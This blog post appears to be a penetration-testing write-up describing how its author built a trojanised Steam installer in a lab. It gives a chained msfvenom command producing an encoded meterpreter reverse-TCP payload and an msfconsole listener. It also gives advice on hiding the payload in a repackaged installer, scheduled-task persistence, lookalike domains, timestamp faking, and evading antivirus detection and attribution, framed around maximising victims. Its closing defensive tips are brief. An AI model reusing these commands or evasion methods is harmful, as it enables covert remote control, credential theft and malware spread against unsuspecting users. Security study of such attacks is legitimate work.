Imagine a popular and widely spread Microsoft Windows application you'd like to exploit or create a backdoor for? Problem is: Many applications, such as setup program of Steam gaming platform by Valve Corporation is protected against common tampering or injection attempts.
However, there is a way to add malicious content into such programs. In this post, I demonstrate a simple attack approach and countermeasures which you should remember in any software environment.
Table of Contents
About penetration testing
This single case demonstrates just a single penetration case. Penetration testing covers huge field, ranging from application to network security. I have done more penetration testing and I have descriptions of my some penetration testing exercise descriptions on GitHub - Fincer/penetration-testing repository.
The same repository is also hosted in extensive manner on Fjordtek Git service, including compherensive answers and analysis for each penetration case. However, access to it is allowed only to authorized users for now.
Article writer does not take any responsibility if methods, principles, actions, ideas or codes presented in this post are used for any harmful or criminal purposes. Actions described in this post are performed in pre-defined and restricted environment.
Main goal of this small-scale project was to demonstrate how easy it could be to develop a simple trojan horse using a popular target software. In the project, I selected MS Windows setup executable of popular Steam gaming platform by Valve Corporation. The platform is available on Microsoft Windows, Apple Mac OS and Linux.
Penetration testing phases
Phases of the intrusion Kill Chain
|1 ⮟||Reconnaissance||Research, Identification, and selection of targets|
|2 ⮟||Weaponization||Pairing remote access malware with exploit into a deliverable payload (e.g. Adobe PDF and Microsoft Office files)|
|3 ⮟||Delivery||Transmission of weapon to target (e.g. via email attachments, websites, or USB drives)|
|4 ⮟||Exploitation||Once delivered, the weapon's code is triggered, exploiting vulnerable applications or systems|
|5 ⮟||Installation||The weapon installs a backdoor on a target's system allowing persistent access|
|6 ⮟||Command & Control||Outside server communicates with the weapons providing “hands on keyboard access” inside the target's network.|
|7 ⮟||Actions on Objective||The attacker works to achieve the objective of the intrusion, which can include exfiltration or destruction of data, or intrusion of another target|
For demonstration purposes, a controlled local network environment was required. This local network was created virtually, and it had configuration for both the attack computer and victim computer. Network IPv4 address space was 172.20.0.0/24. The attack computer had IPv4 address 172.20.0.1 whereas IPv4 address of the victim computer was provided by a separate DHCP server application.
Kali Linux 2019.3 was used on the attack computer whereas the victim computer used Microsoft Windows 7 Home Premium OS. Generating trojan horse required usage of (hostile) tools in MS Windows environment. Therefore, the victim computer was not purely just in victim role. The resulting attack scenario was, however, targeted to this specific MS Windows system.
Project goals were simple: generate a trojan horse. Malicious, masqueraded and easily spreading Windows binary capable of creating a persistent backdoor to a victim computer. Key criteria for trojan development was as follows:
Maximize victim count by targeting widely used and popular operating system
Maximize victim count by targeting widely used and popular application
Maximize victim count by exploiting social engineering tactics if possible
Principles of a trojan horse
Generated a trojan horse followed loosely the following principles, although not nearly everything was actually done in practice since many methods require more sophisticated approaches to develop a successful and more advanced trojan horse. Excluded principles are mentioned in the chapter Weaknesses of the selected attack method.
Principle: choosing target application
- Use commonly trusted and popular application for the attack to maximize victim count and scale
Principle: injecting malicious code
Hide the payload well in the target application
Use/prefer self-made, unique malicious payload to avoid antivirus detection
Exclude all sensitive information and stamps which could uncover your identity from the payload/target application
Principle: attack, hide, persist
Hide the malicious code deep in the victim system where…
…it is difficult to detect from within other data
…it is likely able to exist long time without being detected
…it is automatically & periodinally executed
…it replicates to other locations in the system and destroys the original version of itself without leaving traces in logs
Challenging but recommended approaches:
Hook the malicious code into a system process utilizing Windows API and possible vulnerabilities in it
- Note: most common antivirus software can detect malicious patterns of Windows API usage, such as suspicious execution calls
If found and possible to adapt, use a zero-day attack method
Write your own malicious payload using low-level code such as C
Easier but weaker approaches:
Use a non-suspicious or trustworthy name in your malicious system process
If possible without getting caught, fake/manipulate timestamps of the malicious process executable, including create time, modify time and access time
- For instance, timestamp alterations are possible with Windows PowerShell
Move/Transfer your malicious application to a new location after random time period
Use strongly protected Command & Control server, masquerade its origin
Re-route the network traffic via multiple nodes
Use fake domain names, such as steampowered.com (genuine) -> steam.powered.com (fake)
domain name must be resolvable and capable to be used for successful communication between victim & attack computers
Believable network connection which is as resistant as possible to the most common DNS analysis, IP packet analysis and location analysis
Principle: actions in injected system
Do not raise suspicions: try to find exploitable and perfect timing for malicious operations in the victim system. For instance: is anyone using the system computer, is there a clear pattern for application executions or not?
If anyhow possible, automate your malicious payload/executable to detect useful time frames based on well-known logical patterns
Avoid any (radical) increments in CPU & RAM usage and in average/expected network traffic
- Avoid raising susplicions by slowing down the victim system in any way
Avoid raising clear warning/error popup windows generated either by the infected application or by any AV software (such as Windows Defender)
Hide malicious network traffic
Reverse TCP connection
In usual client/server TCP protocol connection (connection-oriented) client establishes connection to a listening TCP socket (IP+port) of a server and send requests to the server to which the server replies based on multiple factors. This kind of connection is known as forward connection.
In reverse TCP connection, server sends requests to a client instead. In other words: server tells which commands/requests clients should perform in their end. This kind of connection is known as reverse connection. Reverse connections makes possible for a possible attacker to interact with and send requests to an infected client system.
Bypassing port-based firewall rules
Firewall prevents new (
NEW) inbound/incoming connections in many network setups by default which is the most common configuration
in client-only network environments. At the same time, new outbound connections to external servers are usually allowed.
For instance, when a client is successfully connects to a WAN server (new outbound connection),
firewall considers the connection been established when the server sends reply traffic to the client (established inbound connection).
In many firewall configurations, packets related to already established connection are usually marked with statuses
RELATED and usually allowed to pass through.
In reverse TCP connections, attacker exploits these common firewall policies: once a client is infected, a malicious client process connects to attacker's server process which locates usually in a remote network location. Instead of infected client computer sending requests to the server, attacker's server process sends requests to the client instead, thus being reverse connection.
One of the key/basic elements in firewall policy configuration is to understand difference between new and established connection types.
For instance, Linux
iptables use configuration parameters
ESTABLISHED in its
conntrack module for both
inbound and outbound connections. Many firewalls allow fine-tuning policies based on MAC addresses, IPv4/IPv6 addresses and packet tagging,
Reverse connection is usually used to establish backdoor connections and spreading malicious applications but it is also used for non-hostile operations such as legally accessing NAT firewall procected client computers which do not have a public IPv4/IPv6 address.
Injecting Steam client setup
Two different approaches were taken to tamper official SteamSetup.exe:
1) Extracting and re-packaging the official Steam installer:
Analysis of installed files & Windows registry values by Steam Client setup
Manual re-packaging SteamSetup.exe with malicious payload, utilizing genuine binary data structures
2) Only re-packaging the official Steam installer:
Combination of two binaries (genuine Steam installer & malicious payload), mimicking the original installer behavior & look
Both approaches are compherensively explained below.
Generating malicious payload
Both approaches required a working malicious payload to be generated beforehand. Therefore, a simple reverse TCP payload was generated with chained
msfvenom commands on Kali Linux:
1msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp \ 2LHOST=172.20.0.1 LPORT=443 -f raw -e x86/jmp_call_additive -i 10 -k | \ 3\ 4msfvenom -a x86 --platform windows -e x86/fnstenv_mov -i 8 -f raw -k | \ 5msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 14 -f raw -k | \ 6msfvenom -a x86 --platform windows -f exe \ 7-o MALWARE-SteamClient.exe
MALWARE-SteamClient.exe was moved to commonly accessible Apache web folder
/var/www/html/steampowered/ where it was downloaded with
the victim MS Windows computer (URL
MS Windows spefific tools were used to generate the trojan horse, using malicious payload executable
MALWARE-SteamClient.exe as raw source material.
Payload obfuscation methods
Various encoders with random iteration counts were applied to chained
msfvenom commands. Iteration count basically tells how many times
msfvenom command is encoded, resulting to basic obfuscation. Generally speaking, obfuscation is used to avoid detection by any malware detection tool. Worth noting that there are many counter toolkits which likely detect payloads which are obfuscated with basic and publicly available methods, including
In this project section, only varience of iteration counts and payload encoding were fine-tuned and no any additional customization methods were used.
Payload encoders used in SteamSetup.exe injection were as follows:
|Encoder||Iteration count||Brief description|
|Jmp_call_additive||10||Jump/Call XOR Additive Feedback|
|Fnstenv_mov||8||Variable-length Fnstenv/mov Dword XOR Encoder|
|Shikata_ga_nai||14||Polymorphic XOR Additive Feedback Encoder|
Metasploit Framework provides many additional encoding methods which can be listed in Msfconsole view with
show encoders console command.
Various Linux & Windows tools were used to produce malicious SteamSetup.exe.
|Software||Short description||License||Role in performed attack|
|Steam Client||Platform & interface for Steam games||proprietary software||Target victim software|
|Resource Hacker||Packaging, modification & extraction of Windows binaries||custom freeware||Extracting official icon data from SteamSetup.exe|
|Universal Extractor||Data extraction from MS Windows installers (msi/exe)||GPLv2||Failed: extracting SteamSetup.exe contents|
|OllyDbg||Machine code extraction, modification and code logic analysis of MS Windows executables||custom freeware||Failed: string extraction from SteamSetup.exe|
|WhatChanged||Detection of structucal changes in MS Windows filesystem and MS Windows registry entries & values||freeware||Not used: record filesystem & Windows registrty changes performed by SteamSetup.exe|
|Inno Setup||Generating custom MS Windows installers||modified BSD||Packaging of malicious SteamSetup.exe|
|Metasploit Framework||Generating malicious payloads & exploiting software vulnerabilities||BSD||Generating malicious payload, backdoor connection to the infected system|
Failed injection attempt: re-packaging installed Steam files & registry values
Modifications to Windows file system and registry values by SteamSetup.exe were tracked down with WhatChanged which takes two snapshots, before and after software installation. Difference between the two snapshots is a list of installed Steam client software components which are shown below.
The original idea was to restructure SteamSetup.exe with malicious payload. In the end, this information was not widely used since multiple avoidable and unnecessary challenges would have been introduced in trojan generation. Several key challenges were as follows:
Missing Valve Corporation cerfiticate which is included in the official setup program
trusted publisherfield used in setup program initialization step
Challenges to generate believable re-implementation of the original setup program installation logic
Missing language selection menu
Missing directory path selection menu
Size difference between fake and original SteamSetup.exe; Size estimation for installable files should match the original setup program
Failed injection attempt: direct Steam setup extraction
SteamSetup.exe seems to have protection against trivial data extraction methods. Direct data extraction was attempted with several tools:
Resource Hacker: only Steam setup icon data could be extracted
- The data was used in the project later on
OllyDbg: failed attempt. Without further modifications, any valuable
stringscould not be extracted
Universal Extractor: failed attempt to directly extract data from the Steam setup program
Steam setup defense mechanisms
As expected, SteamSetup.exe is protected against the most trivial injection and data extraction attempts. Several key challenges should be overcome to gain direct access to Steam client installation data (which may be useful for an attacker). These challenges are as follows:
Recognize and circumvent protection method which is used against data extraction tools such as Universal Extractor
Recognize and circumvent protection method which limits SteamSetup.exe data availability with tools like Resource Hacker
Recognize and circumvent protection methods which are used against code disassembler tools such as IDA Pro/OllyDbg
- It is likely that SteamSetup.exe uses anti-debugging protection mechanisms which should be analyzed step by step. Circumvention takes time since direct analysis and iterative modifications of SteamSetup.exe assembly code should be carefully performed
Extracting, injecting and re-packaging SteamSetup.exe requires a lot of time and deep orientation to assembly data analysis. Direct payload injection to the original SteamSetup.exe was not performed either.
Hereby direct SteamSetup.exe data extraction attempts were abandoned, considering several project-scale factors such as time schedule.
Successful injection attempt: packaging malicious payload with Steam setup
Due to results gained from short-term SteamSetup.exe data analysis, approach was changed. Instead of directly injecting malicious payload into SteamSetup.exe, the payload itself was bundled with genuine SteamSetup.exe with Inno Setup.
In normal usage, Inno Setup is used to generate GUI installers for bundled files. However, Inno Setup was not used in normal means in the project since masquerading or hiding the malicious payload was the key goal of the project. The following criteria was applied for malicious Inno Setup usage:
User must not easily detect existence of malicious payload
The installer behavior, interface or appearance must not differ from the original Steam setup program
Identical name, icons, copyright tag and version number must be included
- Icons extracted with Resource Hacker were used
Size: the bundled setup program must not differ too much from the original Steam setup in terms of size
Inno Setup genuine GUI installer must not be executed in any circumstances
Bundled SteamSetup.exe Valve Corporation certificate is excluded due to integration challenges. As a downside user can note missing certificate in the fake SteamSetup.exe. However, actual functionality differences between the two setup programs are still non-existent
Inno Setup approach required four key files for successful trojan horse generation:
SteamSetup.exe icon files
Malicious binary payload (generated by chained
msfvenomcommands (Metasploit Framework))
Well-formatted Inno Setup configuration/instruction file for the trojan horse
Malicious installation script
Key requirement for successfully generated Inno Setup script for the trojan horse was excluding and bypassing all default Inno Setup installation phases. Although little challenges were encountered, Inno Setup proved to have capabilities for successful trojan horse generation. The configuration script is as follows.
Be advised: only logged-in users with correct permissions may view the code.
The configuration script was fine-tuned for the trojan horse. Requirements listed in Successful injection attempt: packaging malicious payload with Steam setup were met. Required external files were relatively located to the Inno Setup configuration script file. The external files were:
steampayload.iss(Inno Setup Script)
data\steam_icon.ico(SteamSetup.exe icons, extracted by Resource Hacker)
data\SteamSetup.exe(genuine Steam setup program)
Once the configuration script is in place, compiling a malware-infected installer in Inno Setup is a no-brainer: just clicking
Build -> Compile does the job.
The following section briefly describes idea and logic behind the Inno Setup configuration script.
Script structure explained
By default, Inno Setup generates installation program GUI dialogs for bundled files. One of the key goals during Inno Setup configuration script development was to avoid generating them for the maliciously generated SteamSetup.exe. The key role of Inno Setup was just to provide a dummy container for both generated trojan horse payload and the genuine SteamSetup.exe executable. Inno Setup is not a requirement: any applicable software which provides the same functionality can be used.
The configuration script combines malicious
msfvenom-generated payload, attachment files (such as icons), valid SteamSetup.exe information (such as copyright & version tags). Previously, the payload executable was known as
MALWARE-SteamClient.exe but it was renamed as
When user executes maliciously packaged SteamSetup.exe, the payload attachment is injected immediately, before any other user interaction. Several quite trivial malicious actions are performed:
MALWARE-SteamService.exe is placed to sub-directory
<username> the the current Windows user. This binary file is periodically executed to ensure malware persistence on the victim's computer. The first execution is applied during the first run of the malicious SteamSetup.exe.
Bundled genuine SteamSetup.exe is concurrently executed. Actual Inno Setup installation steps are never executed since key aspects were to keep behavioral differences between the malicious and the original SteamSetup.exe non-existent. Generally speaking, avoiding visible differences is a very basic and important principle of any successful malware generation since failure in that reveals the malicious origin of an executable.
The most notable differences between the malicious and the original SteamSetup.exe are: modification date, digital signature and available languages. File modification time can be changed with a PowerShell command.
creationtime should be checked, as well. Adding multi-language support, even a fake one, can be a trivial task. Faking digital signature by Valve Corporation represents a challenge. However, file signatures can be created with Windows SDK tool
Metasploit framework: connecting infected computer
Test development environment had Metasploit Framework TCP handler on stand-by listening to incoming connections from the infected MS Windows client computer. The following
msfconsole command was applied on Kali Linux attack computer:
1sudo msfconsole -x 'use exploit/multi/handler; \ 2set payload windows/meterpreter/reverse_tcp; \ 3set LHOST 172.20.0.1; \ 4set LPORT 443; \ 5run'
Selecting TCP port 443 for the local port (
LPORT) was intended because it is usually used by HTTPS protocol, meaning that…
…it is generally trusted and known TCP port number
…many port-based firewalls allow outbound 443 TCP connections
…blending malicious traffic to valid HTTPS traffic is easier (unless deep packet inspection or advanced network analysis is performed)
Extended tests would tell whether this port choise is applicable and wise but it was a good choise for project demonstration purposes. IPv4 address of the attacker's computer on the (same) network is
Once the TCP handler was listening to new connections on the attacker's computer, the malicious SteamSetup.exe was executed on the victim's computer. Nothing suspicious was popped up.
Malicious SteamSetup.exe process connects to the TCP handler on the attacker's computer, opening a new
meterpreter connection to the victim's MS Windows computer. The default
meterpreter working directory on the victim's computer is the one where the malicious
MALWARE-SteamService.exe locates at.
Meterpreter console has multiple possibilities to perform various operations on the victim's computer, such as obtain user credentials, download and upload files, edit files, listen to a microphone, take screenshots and take webcam snapshots. Additional post-exploitation operations can be performed with Mimikatz.
Timed backdoor connection and persistence in infected system
MALWARE-SteamService.exe was successfully injected, a new timed Windows task was immediately introduced to add malware persistence. On the current configuration, the timed task attempts to connect to the attacker's computer in 1 hour intervals. The task is seen in Windows Task Scheduler as
SteamService as shown below. Name for the task was purposely chosen.
Initially Windows automatic startup execution feature was considered (execute on each boot) but there were several issues encountered with the payload execution persistence: the malicious executable was executed but the process halted and disappeared pretty quickly, practically disabling its long-term functionality. The behavior is problematic since the attack window would have been very narrow:
Attacker could have connection to victim's computer only after boot up
Malicious executable may not be able to connect to attacker's computer if network interfaces are not up, default gateway is non-operational or DNS resolution does not work during malware execution
Downsides of using Windows Task Scheduler are obvious: user can detect and understand malicious nature of the process, especially if any advanced logging systems are being used or user is aware of validity of different processes and is able to detect abnormal processes. Anyway, any malicious process, service or task must as effectively be hidden on the target system as possible to dispel doubts.
Weaknesses of the selected attack method
Basic principle of the generated trojan horse and performed attack is good but the practical implementation has many downsides. Key downsides are:
Permission restrictions: Provided method does not grant
SYSTEMprivileges to an infected Windows system. Only user level permissions granted
Reference leftovers: Payload is seen as
ApacheBench command line utilityin Windows Task Manager. References like this should be removed or replaced with ones which fit the context. For instance, use terminology referring to Steam or system processes.
Reference leftovers: Inno Setup metadata strings exist in the malicious SteamSetup.exe. Additionally, Inno Setup data pattern in executable file is a possible fingerprint, weakening obfuscation the malicious SteamSetup.exe
Missing references: Usage of strings (like references to Symantec or certificates) inside the original SteamSetup.exe should be considered and implemented if anyhow possible
Missing certificate: The malicious SteamSetup.exe does not have original or faked Valve Corporation signature/certificate
Missing protection: The malicious SteamSetup.exe is not protected against data analysis. For instance, simple extraction with Universal Extractor is possible. Leaking any valuable information weakens attacker's position and may reveal his/her identity.
Missing protection: The payload is not protected against network analysis. Payload uses a simple connection to attacker's computer and does not include any advanced multi-routing capabilities via multiple nodes or does not try to obfuscate the attack origin. Attack is not distributed (via botnet, for instance)
Network patterns: Simple network analysis reveals abnormal patterns for TCP port 443:
Suspicious remote network address, domain name or any other data (TCP/IP layers 3 and 4)
Suspicious TCP flags. Normal HTTPS connection follows 3-way handshake (SYN, [SYN, ACK], ACK TCP flags), symmetrical key exchange and asymmetrical certificate confirmation and client+server hello messages. The reverse TCP can hardly follow this normal pattern, thus it can be detected using deep packet inspection or advanced firewall packet tracking detection methods which do not fully rely on port-based rules. Additionally, payload size may differ suspiciously from normal HTTPS traffic.
Protection against AV systems: Protection against antivirus software is not tested in the project, and likely does not pass antivirus defenses
Too well-known payload generation method used: Metasploit Framework is widely used in penetration testing, and any Metasploit Framework references or patterns likely get caught. It is recommended to write own, previously unknown payload which, in an optimal case, is undetectable
Usage of forbidden strings and function patterns: Many antivirus programs detect certain key words and (Windows API) function call patterns, both of which should be either removed or modified to avoid antivirus detection
Test trojan horse against multiple antivirus solutions. Do NOT use AVTotal, since it renders the payload useless
Keep the payload and malware code up-to-dated since antivirus software update virus signatures on regular basis
If the trojan horse is detected, it is likely to be added to virus signature databases. Only solutions are forking or replacing the payload.
Integrity: Checksum of the malicious SteamSetup.exe differs from the original one. In an optimal case, the checksum is identical but it can be very challenging to have one.
- This is the exact reason why some software vendors provide valid checksums for files they provide to customers, or open source projects have lists of checksums for files
End results and conclusion
Developing a simple low-level trojan horse for SteamSetup.exe demonstrates how easily the original binary can be faked. Using Inno Setup as basis proves that is is possible to add malicious code for valid installers although the original setup program could be well protected against direct injection methods or modifications. In other words, re-packaging the installer basically bypasses any security measures done by the original software vendor.
Due to many downsides which are not further addressed in this project, the realistic risks to get infected by the presented trojan method is low, likely due to antivirus protection mechanisms. Additionally, attacker's footprint or traces are not covered. However, more advanced version could harm naive users which just trust the software and do not care doing any analysis of downloaded files.
Social engineering, need of popular software (even in illegal ways) and user negligence are many of the key factors why trojan horses can be spread around. However, even a single suspicious user or antivirus detection may render trojan horses pretty useless since users become more aware of the true nature of obtained software and they may spread the word in different communication channels. Scientia potentia est.
Once trojan horse is revealed, it is likely than hobbyists and/or security experts focus their interest and analysis (of data gathering, trojan behavior, target software and network) on the software, and may reveal the attacker's origin. This is troublesome for attacker due to criminal liability aspects, and thus attacker should take all countermeasures to practice and create software/network/log-resistant protection, defensive layers to avoid getting caught.
As a target, SteamSetup.exe is dangerous. It is widely used gaming platform where over 90% of the player base use MS Windows as their operating system. For instance, infected SteamSetup.exe could easily be spread in LAN parties or between friends. Therefore, origin of the data, checksums and updated antivirus protection should always be priority. In rare cases, the trusted source itself can be infected, such as Linux Mint 2016 incident reveals. Thus, in the end, more good security practices are as follows:
sandboxed application environments
application permission restrictions in the file system
restict application functionality in the system
restrict application access to specific file system locations
short-term and long-term system analysis
installing only software which is needed